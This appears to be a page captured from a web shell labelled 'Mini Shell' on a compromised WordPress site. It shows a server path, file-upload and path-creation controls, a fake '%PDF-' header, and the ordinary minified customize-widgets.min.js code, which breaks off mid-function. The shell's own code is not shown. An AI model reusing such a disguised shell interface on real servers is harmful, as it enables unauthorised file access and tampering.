%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/nossaradio.com.br/wp-includes/js/dist/
Upload File :
Create Path :
Current File : /var/www/projetos/nossaradio.com.br/wp-includes/js/dist/customize-widgets.min.js

/*! This file is auto-generated */
!function(){var e={7153:function(e,t){var r;
/*!
	Copyright (c) 2018 Jed Watson.
	Licensed under the MIT License (MIT), see
	http://jedwatson.github.io/classnames
*/!function(){"use strict";var n={}.hasOwnProperty;function s(){for(var e="",t=0;t<arguments.length;t++){var r=arguments[t];r&&(e=o(e,i(r)))}return e}function i(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return s.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var r in e)n.call(e,r)&&e[r]&&(t=o(t,r));return t}function o(e,t){return t?e?e+" "+t:e+t:e}e.exports?(s.default=s,e.exports=s):void 0===(r=function(){return s}.apply(t,[]))||(e.exports=r)}()}},t={};function r(n){var s=t[n];if(void 0!==s)return s.exports;var i=t[n]={exports:{}};return e[n](i,i.exports,r),i.exports}r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,{a:t}),t},r.d=function(e,t){for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var n={};!function(){"use strict";r.r(n),r.d(n,{initialize:function(){return Ue}});var e={};r.r(e),r.d(e,{__experimentalGetInsertionPoint:function(){return N},isInserterOpened:function(){return T}});var t={};r.r(t),r.d(t,{setIsInserterOpened:function(){return P}});var s={};r.r(s),r.d(s,{disableComplementaryArea:function(){return j},enableComplementaryArea:function(){return $},pinItem:function(){return Y},setDefaultComplementaryArea:function(){return U},setFeatureDefaults:function(){return Q},setFeatureValue:function(){return J},toggleFeature:function(){return K},unpinItem:function(){return q}});var i={};r.r(i),r.d(i,{getActiveComplementaryArea:function(){return X},isFeatureActive:function(){return ee},isItemPinned:function(){return Z}});var o=window.wp.element,a=window.wp.blockLibrary,c=window.wp.widgets,l=window.wp.blocks,d=window.wp.data,u=window.wp.preferences,m=window.wp.components,h=window.wp.keyboardShortcuts,p=window.wp.i18n,g=window.wp.blockEditor,b=window.wp.compose,w=window.wp.hooks;function f(e){let{text:t,children:r}=e;const n=(0,b.useCopyToClipboard)(t);return(0,o.createElement)(m.Button,{variant:"secondary",ref:n},r)}class _ extends o.Component{constructor(){super(...arguments),this.state={error:null}}componentDidCatch(e){this.setState({error:e}),(0,w.doAction)("editor.ErrorBoundary.errorLogged",e)}render(){const{error:e}=this.state;return e?(0,o.createElement)(g.Warning,{className:"customize-widgets-error-boundary",actions:[(0,o.createElement)(f,{key:"copy-error",text:e.stack},(0,p.__)("Copy Error"))]},(0,p.__)("The editor has encountered an unexpected error.")):this.props.children}}var y=window.wp.coreData,v=window.wp.mediaUtils;function E(){return E=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)({}).hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},E.apply(null,arguments)}var k=function(e){let{inspector:t,closeMenu:r,...n}=e;const s=(0,d.useSelect)((e=>e(g.store).getSelectedBlockClientId()),[]),i=(0,o.useMemo)((()=>document.getElementById(`block-${s}`)),[s]);return(0,o.createElement)(m.MenuItem,E({onClick:()=>{t.open({returnFocusWhenClose:i}),r()}},n),(0,p.__)("Show more settings"))},C=r(7153),S=r.n(C),x=window.wp.keycodes,I=window.wp.primitives;var z=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"}));var W=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"}));var B=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z"}));var A=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"}));var M=(0,d.combineReducers)({blockInserterPanel:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;return"SET_IS_INSERTER_OPENED"===t.type?t.value:e}});function T(e){return!!e.blockInserterPanel}function N(e){const{rootClientId:t,insertionIndex:r}=e.blockInserterPanel;return{rootClientId:t,insertionIndex:r}}function P(e){return{type:"SET_IS_INSERTER_OPENED",value:e}}const O={reducer:M,selectors:e,actions:t},F=(0,d.createReduxStore)("core/customize-widgets",O);(0,d.register)(F);var L=function e(t){let{setIsOpened:r}=t;const n=(0,b.useInstanceId)(e,"customize-widget-layout__inserter-panel-title"),s=(0,d.useSelect)((e=>e(F).__experimentalGetInsertionPoint()),[]);return(0,o.createElement)("div",{className:"customize-widgets-layout__inserter-panel","aria-labelledby":n},(0,o.createElement)("div",{className:"customize-widgets-layout__inserter-panel-header"},(0,o.createElement)("h2",{id:n,className:"customize-widgets-layout__inserter-panel-header-title"},(0,p.__)("Add a block")),(0,o.createElement)(m.Button,{className:"customize-widgets-layout__inserter-panel-header-close-button",icon:A,onClick:()=>r(!1),"aria-label":(0,p.__)("Close inserter")})),(0,o.createElement)("div",{className:"customize-widgets-layout__inserter-panel-content"},(0,o.createElement)(g.__experimentalLibrary,{rootClientId:s.rootClientId,__experimentalInsertionIndex:s.insertionIndex,showInserterHelpPanel:!0,onSelect:()=>r(!1)})))};var D=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z"}));var R=(0,o.createElement)(I.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(I.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"}));function H(e){let{as:t=m.DropdownMenu,className:r,label:n=(0,p.__)("Options"),popoverProps:s,toggleProps:i,children:a}=e;return(0,o.createElement)(t,{className:S()("interface-more-menu-dropdown",r),icon:R,label:n,popoverProps:{position:"bottom left",...s,className:S()("interface-more-menu-dropdown__content",null==s?void 0:s.className)},toggleProps:{tooltipPosition:"bottom",...i}},(e=>a(e)))}var V=window.wp.deprecated,G=r.n(V);const U=(e,t)=>({type:"SET_DEFAULT_COMPLEMENTARY_AREA",scope:e,area:t}),$=(e,t)=>r=>{let{registry:n,dispatch:s}=r;if(!t)return;n.select(u.store).get(e,"isComplementaryAreaVisible")||n.dispatch(u.store).set(e,"isComplementaryAreaVisible",!0),s({type:"ENABLE_COMPLEMENTARY_AREA",scope:e,area:t})},j=e=>t=>{let{registry:r}=t;r.select(u.store).get(e,"isComplementaryAreaVisible")&&r.dispatch(u.store).set(e,"isComplementaryAreaVisible",!1)},Y=(e,t)=>r=>{let{registry:n}=r;if(!t)return;const s=n.select(u.store).get(e,"pinnedItems");!0!==(null==s?void 0:s[t])&&n.dispatch(u.store).set(e,"pinnedItems",{...s,[t]:!0})},q=(e,t)=>r=>{let{registry:n}=r;if(!t)return;const s=n.select(u.store).get(e,"pinnedItems");n.dispatch(u.store).set(e,"pinnedItems",{...s,[t]:!1})};function K(e,t){return function(r){let{registry:n}=r;G()("dispatch( 'core/interface' ).toggleFeature",{since:"6.0",alternative:"dispatch( 'core/preferences' ).toggle"}),n.dispatch(u.store).toggle(e,t)}}function J(e,t,r){return function(n){let{registry:s}=n;G()("dispatch( 'core/interface' ).setFeatureValue",{since:"6.0",alternative:"dispatch( 'core/preferences' ).set"}),s.dispatch(u.store).set(e,t,!!r)}}function Q(e,t){return function(r){let{registry:n}=r;G()("dispatch( 'core/interface' ).setFeatureDefaults",{since:"6.0",alternative:"dispatch( 'core/preferences' ).setDefaults"}),n.dispatch(u.store).setDefaults(e,t)}}const X=(0,d.createRegistrySelector)((e=>(t,r)=>{var n;const s=e(u.store).get(r,"isComplementaryAreaVisible");if(void 0!==s)return s?null==t||null===(n=t.complementaryAreas)||void 0===n?void 0:n[r]:null})),Z=(0,d.createRegistrySelector)((e=>(t,r,n)=>{var s;const i=e(u.store).get(r,"pinnedItems");return null===(s=null==i?void 0:i[n])||void 0===s||s})),ee=(0,d.createRegistrySelector)((e=>(t,r,n)=>(G()("select( 'core/interface' ).isFeatureActive( scope, featureName )",{since:"6.0",alternative:"select( 'core/preferences' ).get( scope, featureName )"}),!!e(u.store).get(r,n))));var te=(0,d.combineReducers)({complementaryAreas:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_DEFAULT_COMPLEMENTARY_AREA":{const{scope:r,area:n}=t;return e[r]?e:{...e,[r]:n}}case"ENABLE_COMPLEMENTARY_AREA":{const{scope:r,area:n}=t;return{...e,[r]:n}}}return e}});const re=(0,d.createReduxStore)("core/interface",{reducer:te,actions:s,selectors:i});(0,d.register)(re);const ne=[{keyCombination:{modifier:"primary",character:"b"},description:(0,p.__)("Make the selected text bold.")},{keyCombination:{modifier:"primary",character:"i"},description:(0,p.__)("Make the selected text italic.")},{keyCombination:{modifier:"primary",character:"k"},description:(0,p.__)("Convert the selected text into a link.")},{keyCombination:{modifier:"primaryShift",character:"k"},description:(0,p.__)("Remove a link.")},{keyCombination:{character:"[["},description:(0,p.__)("Insert a link to a post or page")},{keyCombination:{modifier:"primary",character:"u"},description:(0,p.__)("Underline the selected text.")},{keyCombination:{modifier:"access",character:"d"},description:(0,p.__)("Strikethrough the selected text.")},{keyCombination:{modifier:"access",character:"x"},description:(0,p.__)("Make the selected text inline code.")}];var se=window.lodash;function ie(e){let{keyCombination:t,forceAriaLabel:r}=e;const n=t.modifier?x.displayShortcutList[t.modifier](t.character):t.character,s=t.modifier?x.shortcutAriaLabel[t.modifier](t.character):t.character;return(0,o.createElement)("kbd",{className:"customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination","aria-label":r||s},(0,se.castArray)(n).map(((e,t)=>"+"===e?(0,o.createElement)(o.Fragment,{key:t},e):(0,o.createElement)("kbd",{key:t,className:"customize-widgets-keyboard-shortcut-help-modal__shortcut-key"},e))))}var oe=function(e){let{description:t,keyCombination:r,aliases:n=[],ariaLabel:s}=e;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:"customize-widgets-keyboard-shortcut-help-modal__shortcut-description"},t),(0,o.createElement)("div",{className:"customize-widgets-keyboard-shortcut-help-modal__shortcut-term"},(0,o.createElement)(ie,{keyCombination:r,forceAriaLabel:s}),n.map(((e,t)=>(0,o.createElement)(ie,{keyCombination:e,forceAriaLabel:s,key:t})))))};var ae=function(e){let{name:t}=e;const{keyCombination:r,description:n,aliases:s}=(0,d.useSelect)((e=>{const{getShortcutKeyCombination:r,getShortcutDescription:n,getShortcutAliases:s}=e(h.store);return{keyCombination:r(t),aliases:s(t),description:n(t)}}),[t]);return r?(0,o.createElement)(oe,{keyCombination:r,description:n,aliases:s}):null};const ce=e=>{let{shortcuts:t}=e;return(0,o.createElement)("ul",{className:"customize-widgets-keyboard-shortcut-help-modal__shortcut-list",role:"list"},t.map(((e,t)=>(0,o.createElement)("li",{className:"customize-widgets-keyboard-shortcut-help-modal__shortcut",key:t},"string"==typeof e?(0,o.createElement)(ae,{name:e}):(0,o.createElement)(oe,e)))))},le=e=>{let{title:t,shortcuts:r,className:n}=e;return(0,o.createElement)("section",{className:S()("customize-widgets-keyboard-shortcut-help-modal__section",n)},!!t&&(0,o.createElement)("h2",{className:"customize-widgets-keyboard-shortcut-help-modal__section-title"},t),(0,o.createElement)(ce,{shortcuts:r}))},de=e=>{let{title:t,categoryName:r,additionalShortcuts:n=[]}=e;const s=(0,d.useSelect)((e=>e(h.store).getCategoryShortcuts(r)),[r]);return(0,o.createElement)(le,{title:t,shortcuts:s.concat(n)})};function ue(e){let{isModalActive:t,toggleModal:r}=e;const{registerShortcut:n}=(0,d.useDispatch)(h.store);return n({name:"core/customize-widgets/keyboard-shortcuts",category:"main",description:(0,p.__)("Display these keyboard shortcuts."),keyCombination:{modifier:"access",character:"h"}}),(0,h.useShortcut)("core/customize-widgets/keyboard-shortcuts",r),t?(0,o.createElement)(m.Modal,{className:"customize-widgets-keyboard-shortcut-help-modal",title:(0,p.__)("Keyboard shortcuts"),closeLabel:(0,p.__)("Close"),onRequestClose:r},(0,o.createElement)(le,{className:"customize-widgets-keyboard-shortcut-help-modal__main-shortcuts",shortcuts:["core/customize-widgets/keyboard-shortcuts"]}),(0,o.createElement)(de,{title:(0,p.__)("Global shortcuts"),categoryName:"global"}),(0,o.createElement)(de,{title:(0,p.__)("Selection shortcuts"),categoryName:"selection"}),(0,o.createElement)(de,{title:(0,p.__)("Block shortcuts"),categoryName:"block",additionalShortcuts:[{keyCombination:{character:"/"},description:(0,p.__)("Change the block type after adding a new paragraph."),ariaLabel:(0,p.__)("Forward-slash")}]}),(0,o.createElement)(le,{title:(0,p.__)("Text formatting"),shortcuts:ne})):null}function me(){const[e,t]=(0,o.useState)(!1),r=()=>t(!e);return(0,h.useShortcut)("core/customize-widgets/keyboard-shortcuts",r),(0,o.createElement)(o.Fragment,null,(0,o.createElement)(H,{as:m.ToolbarDropdownMenu},(()=>(0,o.createElement)(o.Fragment,null,(0,o.createElement)(m.MenuGroup,{label:(0,p._x)("View","noun")},(0,o.createElement)(u.PreferenceToggleMenuItem,{scope:"core/customize-widgets",name:"fixedToolbar",label:(0,p.__)("Top toolbar"),info:(0,p.__)("Access all block and document tools in a single place"),messageActivated:(0,p.__)("Top toolbar activated"),messageDeactivated:(0,p.__)("Top toolbar deactivated")})),(0,o.createElement)(m.MenuGroup,{label:(0,p.__)("Tools")},(0,o.createElement)(m.MenuItem,{onClick:()=>{t(!0)},shortcut:x.displayShortcut.access("h")},(0,p.__)("Keyboard shortcuts")),(0,o.createElement)(u.PreferenceToggleMenuItem,{scope:"core/customize-widgets",name:"welcomeGuide",label:(0,p.__)("Welcome Guide")}),(0,o.createElement)(m.MenuItem,{role:"menuitem",icon:D,href:(0,p.__)("https://wordpress.org/support/article/block-based-widgets-editor/"),target:"_blank",rel:"noopener noreferrer"},(0,p.__)("Help"),(0,o.createElement)(m.VisuallyHidden,{as:"span"},(0,p.__)("(opens in a new tab)")))),(0,o.createElement)(m.MenuGroup,{label:(0,p.__)("Preferences")},(0,o.createElement)(u.PreferenceToggleMenuItem,{scope:"core/customize-widgets",name:"keepCaretInsideBlock",label:(0,p.__)("Contain text cursor inside block"),info:(0,p.__)("Aids screen readers by stopping text caret from leaving blocks."),messageActivated:(0,p.__)("Contain text cursor inside block activated"),messageDeactivated:(0,p.__)("Contain text cursor inside block deactivated")}))))),(0,o.createElement)(ue,{isModalActive:e,toggleModal:r}))}var he=function(e){let{sidebar:t,inserter:r,isInserterOpened:n,setIsInserterOpened:s,isFixedToolbarActive:i}=e;const[[a,c],l]=(0,o.useState)([t.hasUndo(),t.hasRedo()]),d=(0,x.isAppleOS)()?x.displayShortcut.primaryShift("z"):x.displayShortcut.primary("y");return(0,o.useEffect)((()=>t.subscribeHistory((()=>{l([t.hasUndo(),t.hasRedo()])}))),[t]),(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:S()("customize-widgets-header",{"is-fixed-toolbar-active":i})},(0,o.createElement)(g.NavigableToolbar,{className:"customize-widgets-header-toolbar","aria-label":(0,p.__)("Document tools")},(0,o.createElement)(m.ToolbarButton,{icon:(0,p.isRTL)()?W:z,label:(0,p.__)("Undo"),shortcut:x.displayShortcut.primary("z"),"aria-disabled":!a,onClick:t.undo,className:"customize-widgets-editor-history-button undo-button"}),(0,o.createElement)(m.ToolbarButton,{icon:(0,p.isRTL)()?z:W,label:(0,p.__)("Redo"),shortcut:d,"aria-disabled":!c,onClick:t.redo,className:"customize-widgets-editor-history-button redo-button"}),(0,o.createElement)(m.ToolbarButton,{className:"customize-widgets-header-toolbar__inserter-toggle",isPressed:n,variant:"primary",icon:B,label:(0,p._x)("Add block","Generic label for block inserter button"),onClick:()=>{s((e=>!e))}}),(0,o.createElement)(me,null))),(0,o.createPortal)((0,o.createElement)(L,{setIsOpened:s}),r.contentContainer[0]))};var pe=window.wp.isShallowEqual,ge=r.n(pe);function be(e){const t=e.match(/^widget_(.+)(?:\[(\d+)\])$/);if(t){return`${t[1]}-${parseInt(t[2],10)}`}return e}function we(e){let t,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;const n="core/legacy-widget"===e.name&&(e.attributes.id||e.attributes.instance);if(n)if(e.attributes.id)t={id:e.attributes.id};else{const{encoded:n,hash:s,raw:i,...o}=e.attributes.instance;t={idBase:e.attributes.idBase,instance:{...null==r?void 0:r.instance,is_widget_customizer_js_value:!0,encoded_serialized_instance:n,instance_hash_key:s,raw_instance:i,...o}}}else{t={idBase:"block",widgetClass:"WP_Widget_Block",instance:{raw_instance:{content:(0,l.serialize)(e)}}}}const{form:s,rendered:i,...o}=r||{};return{...o,...t}}function fe(e){let t,{id:r,idBase:n,number:s,instance:i}=e;const{encoded_serialized_instance:o,instance_hash_key:a,raw_instance:d,...u}=i;if("block"===n){const e=(0,l.parse)(d.content,{__unstableSkipAutop:!0});t=e.length?e[0]:(0,l.createBlock)("core/paragraph",{})}else t=s?(0,l.createBlock)("core/legacy-widget",{idBase:n,instance:{encoded:o,hash:a,raw:d,...u}}):(0,l.createBlock)("core/legacy-widget",{id:r});return(0,c.addWidgetIdToBlock)(t,r)}function _e(e){const[t,r]=(0,o.useState)((()=>e.getWidgets().map((e=>fe(e)))));(0,o.useEffect)((()=>e.subscribe(((e,t)=>{r((r=>{const n=new Map(e.map((e=>[e.id,e]))),s=new Map(r.map((e=>[(0,c.getWidgetIdFromBlock)(e),e]))),i=t.map((e=>{const t=n.get(e.id);return t&&t===e?s.get(e.id):fe(e)}));return ge()(r,i)?r:i}))}))),[e]);const n=(0,o.useCallback)((t=>{r((r=>{if(ge()(r,t))return r;const n=new Map(r.map((e=>[(0,c.getWidgetIdFromBlock)(e),e]))),s=t.map((t=>{const r=(0,c.getWidgetIdFromBlock)(t);if(r&&n.has(r)){const s=n.get(r),i=e.getWidget(r);return(0,se.isEqual)(t,s)&&i?i:we(t,i)}return we(t)}));if(ge()(e.getWidgets(),s))return r;const i=e.setWidgets(s);return t.reduce(((e,r,n)=>{const s=i[n];return null!==s&&(e===t&&(e=t.slice()),e[n]=(0,c.addWidgetIdToBlock)(r,s)),e}),t)}))}),[e]);return[t,n,n]}const ye=(0,o.createContext)();function ve(e){let{api:t,sidebarControls:r,children:n}=e;const[s,i]=(0,o.useState)({current:null}),a=(0,o.useCallback)((e=>{for(const t of r){if(t.setting.get().includes(e)){t.sectionInstance.expand({completeCallback(){i({current:e})}});break}}}),[r]);(0,o.useEffect)((()=>{function e(e){const t=be(e);a(t)}function r(){t.previewer.preview.bind("focus-control-for-setting",e)}return t.previewer.bind("ready",r),()=>{t.previewer.unbind("ready",r),t.previewer.preview.unbind("focus-control-for-setting",e)}}),[t,a]);const c=(0,o.useMemo)((()=>[s,a]),[s,a]);return(0,o.createElement)(ye.Provider,{value:c},n)}const Ee=()=>(0,o.useContext)(ye);function ke(e){let{sidebar:t,settings:r,children:n}=e;const[s,i,a]=_e(t);return function(e){const{selectBlock:t}=(0,d.useDispatch)(g.store),[r]=Ee(),n=(0,o.useRef)(e);(0,o.useEffect)((()=>{n.current=e}),[e]),(0,o.useEffect)((()=>{if(r.current){const e=n.current.find((e=>(0,c.getWidgetIdFromBlock)(e)===r.current));if(e){t(e.clientId);const r=document.querySelector(`[data-block="${e.clientId}"]`);null==r||r.focus()}}}),[r,t])}(s),(0,o.createElement)(g.BlockEditorProvider,{value:s,onInput:i,onChange:a,settings:r,useSubRegistry:!1},n)}function Ce(e){let{sidebar:t}=e;const{toggle:r}=(0,d.useDispatch)(u.store),n=t.getWidgets().every((e=>e.id.startsWith("block-")));return(0,o.createElement)("div",{className:"customize-widgets-welcome-guide"},(0,o.createElement)("div",{className:"customize-widgets-welcome-guide__image__wrapper"},(0,o.createElement)("picture",null,(0,o.createElement)("source",{srcSet:"https://s.w.org/images/block-editor/welcome-editor.svg",media:"(prefers-reduced-motion: reduce)"}),(0,o.createElement)("img",{className:"customize-widgets-welcome-guide__image",src:"https://s.w.org/images/block-editor/welcome-editor.gif",width:"312",height:"240",alt:""}))),(0,o.createElement)("h1",{className:"customize-widgets-welcome-guide__heading"},(0,p.__)("Welcome to block Widgets")),(0,o.createElement)("p",{className:"customize-widgets-welcome-guide__text"},n?(0,p.__)("Your theme provides different “block” areas for you to add and edit content. Try adding a search bar, social icons, or other types of blocks here and see how they’ll look on your site."):(0,p.__)("You can now add any block to your site’s widget areas. Don’t worry, all of your favorite widgets still work flawlessly.")),(0,o.createElement)(m.Button,{className:"customize-widgets-welcome-guide__button",variant:"primary",onClick:()=>r("core/customize-widgets","welcomeGuide")},(0,p.__)("Got it")),(0,o.createElement)("hr",{className:"customize-widgets-welcome-guide__separator"}),!n&&(0,o.createElement)("p",{className:"customize-widgets-welcome-guide__more-info"},(0,p.__)("Want to stick with the old widgets?"),(0,o.createElement)("br",null),(0,o.createElement)(m.ExternalLink,{href:(0,p.__)("https://wordpress.org/plugins/classic-widgets/")},(0,p.__)("Get the Classic Widgets plugin."))),(0,o.createElement)("p",{className:"customize-widgets-welcome-guide__more-info"},(0,p.__)("New to the block editor?"),(0,o.createElement)("br",null),(0,o.createElement)(m.ExternalLink,{href:(0,p.__)("https://wordpress.org/support/article/wordpress-editor/")},(0,p.__)("Here's a detailed guide."))))}function Se(e){let{undo:t,redo:r,save:n}=e;return(0,h.useShortcut)("core/customize-widgets/undo",(e=>{t(),e.preventDefault()})),(0,h.useShortcut)("core/customize-widgets/redo",(e=>{r(),e.preventDefault()})),(0,h.useShortcut)("core/customize-widgets/save",(e=>{e.preventDefault(),n()})),null}Se.Register=function(){const{registerShortcut:e,unregisterShortcut:t}=(0,d.useDispatch)(h.store);return(0,o.useEffect)((()=>(e({name:"core/customize-widgets/undo",category:"global",description:(0,p.__)("Undo your last changes."),keyCombination:{modifier:"primary",character:"z"}}),e({name:"core/customize-widgets/redo",category:"global",description:(0,p.__)("Redo your last undo."),keyCombination:{modifier:"primaryShift",character:"z"}}),e({name:"core/customize-widgets/save",category:"global",description:(0,p.__)("Save your changes."),keyCombination:{modifier:"primary",character:"s"}}),()=>{t("core/customize-widgets/undo"),t("core/customize-widgets/redo"),t("core/customize-widgets/save")})),[e]),null};var xe=Se;function Ie(e){const t=(0,o.useRef)(),r=(0,d.useSelect)((e=>0===e(g.store).getBlockCount()));return(0,o.useEffect)((()=>{if(r&&t.current){const{ownerDocument:e}=t.current;e.activeElement&&e.activeElement!==e.body||t.current.focus()}}),[r]),(0,o.createElement)(g.ButtonBlockAppender,E({},e,{ref:t}))}function ze(e){let{blockEditorSettings:t,sidebar:r,inserter:n,inspector:s}=e;const[i,a]=function(e){const t=(0,d.useSelect)((e=>e(F).isInserterOpened()),[]),{setIsInserterOpened:r}=(0,d.useDispatch)(F);return(0,o.useEffect)((()=>{t?e.open():e.close()}),[e,t]),[t,(0,o.useCallback)((e=>{let t=e;"function"==typeof e&&(t=e((0,d.select)(F).isInserterOpened())),r(t)}),[r])]}(n),{hasUploadPermissions:c,isFixedToolbarActive:l,keepCaretInsideBlock:m,isWelcomeGuideActive:h}=(0,d.useSelect)((e=>{var t;const{get:r}=e(u.store);return{hasUploadPermissions:null===(t=e(y.store).canUser("create","media"))||void 0===t||t,isFixedToolbarActive:!!r("core/customize-widgets","fixedToolbar"),keepCaretInsideBlock:!!r("core/customize-widgets","keepCaretInsideBlock"),isWelcomeGuideActive:!!r("core/customize-widgets","welcomeGuide")}}),[]),p=(0,o.useMemo)((()=>{let e;return c&&(e=e=>{let{onError:r,...n}=e;(0,v.uploadMedia)({wpAllowedMimeTypes:t.allowedMimeTypes,onError:e=>{let{message:t}=e;return r(t)},...n})}),{...t,__experimentalSetIsInserterOpened:a,mediaUpload:e,hasFixedToolbar:l,keepCaretInsideBlock:m,__unstableHasCustomAppender:!0}}),[c,t,l,m,a]);return h?(0,o.createElement)(Ce,{sidebar:r}):(0,o.createElement)(o.Fragment,null,(0,o.createElement)(g.BlockEditorKeyboardShortcuts.Register,null),(0,o.createElement)(xe.Register,null),(0,o.createElement)(ke,{sidebar:r,settings:p},(0,o.createElement)(xe,{undo:r.undo,redo:r.redo,save:r.save}),(0,o.createElement)(he,{sidebar:r,inserter:n,isInserterOpened:i,setIsInserterOpened:a,isFixedToolbarActive:l}),(0,o.createElement)(g.CopyHandler,null,(0,o.createElement)(g.BlockTools,null,(0,o.createElement)(g.__unstableEditorStyles,{styles:p.defaultEditorStyles}),(0,o.createElement)(g.BlockSelectionClearer,null,(0,o.createElement)(g.WritingFlow,{className:"editor-styles-wrapper"},(0,o.createElement)(g.ObserveTyping,null,(0,o.createElement)(g.BlockList,{renderAppender:Ie})))))),(0,o.createPortal)((0,o.createElement)("form",{onSubmit:e=>e.preventDefault()},(0,o.createElement)(g.BlockInspector,null)),s.contentContainer[0])),(0,o.createElement)(g.__unstableBlockSettingsMenuFirstItem,null,(e=>{let{onClose:t}=e;return(0,o.createElement)(k,{inspector:s,closeMenu:t})})))}const We=(0,o.createContext)();function Be(e){let{sidebarControls:t,activeSidebarControl:r,children:n}=e;const s=(0,o.useMemo)((()=>({sidebarControls:t,activeSidebarControl:r})),[t,r]);return(0,o.createElement)(We.Provider,{value:s},n)}function Ae(e){let{api:t,sidebarControls:r,blockEditorSettings:n}=e;const[s,i]=(0,o.useState)(null),a=document.getElementById("customize-theme-controls"),c=(0,o.useRef)();!function(e,t){const{hasSelectedBlock:r,hasMultiSelection:n}=(0,d.useSelect)(g.store),{clearSelectedBlock:s}=(0,d.useDispatch)(g.store);(0,o.useEffect)((()=>{if(t.current&&e){const i=e.inspector,o=e.container[0],a=o.ownerDocument,c=a.defaultView;function l(e){!r()&&!n()||!e||!a.contains(e)||o.contains(e)||t.current.contains(e)||e.closest('[role="dialog"]')||i.expanded()||s()}function d(e){l(e.target)}function u(){l(a.activeElement)}return a.addEventListener("mousedown",d),c.addEventListener("blur",u),()=>{a.removeEventListener("mousedown",d),c.removeEventListener("blur",u)}}}),[t,e,r,n,s])}(s,c),(0,o.useEffect)((()=>{const e=r.map((e=>e.subscribe((t=>{t&&i(e)}))));return()=>{e.forEach((e=>e()))}}),[r]);const l=s&&(0,o.createPortal)((0,o.createElement)(_,null,(0,o.createElement)(ze,{key:s.id,blockEditorSettings:n,sidebar:s.sidebarAdapter,inserter:s.inserter,inspector:s.inspector})),s.container[0]),u=a&&(0,o.createPortal)((0,o.createElement)("div",{className:"customize-widgets-popover",ref:c},(0,o.createElement)(m.Popover.Slot,null)),a);return(0,o.createElement)(h.ShortcutProvider,null,(0,o.createElement)(m.SlotFillProvider,null,(0,o.createElement)(Be,{sidebarControls:r,activeSidebarControl:s},(0,o.createElement)(ve,{api:t,sidebarControls:r},l,u))))}function Me(){const{wp:{customize:e}}=window,t=window.matchMedia("(prefers-reduced-motion: reduce)");let r=t.matches;return t.addEventListener("change",(e=>{r=e.matches})),class extends e.Section{ready(){const t=function(){const{wp:{customize:e}}=window;return class extends e.Section{constructor(e,t){super(e,t),this.parentSection=t.parentSection,this.returnFocusWhenClose=null,this._isOpen=!1}get isOpen(){return this._isOpen}set isOpen(e){this._isOpen=e,this.triggerActiveCallbacks()}ready(){this.contentContainer[0].classList.add("customize-widgets-layout__inspector")}isContextuallyActive(){return this.isOpen}onChangeExpanded(e,t){super.onChangeExpanded(e,t),this.parentSection&&!t.unchanged&&(e?this.parentSection.collapse({manualTransition:!0}):this.parentSection.expand({manualTransition:!0,completeCallback:()=>{this.returnFocusWhenClose&&!this.contentContainer[0].contains(this.returnFocusWhenClose)&&this.returnFocusWhenClose.focus()}}))}open(){let{returnFocusWhenClose:e}=arguments.length>0&&void 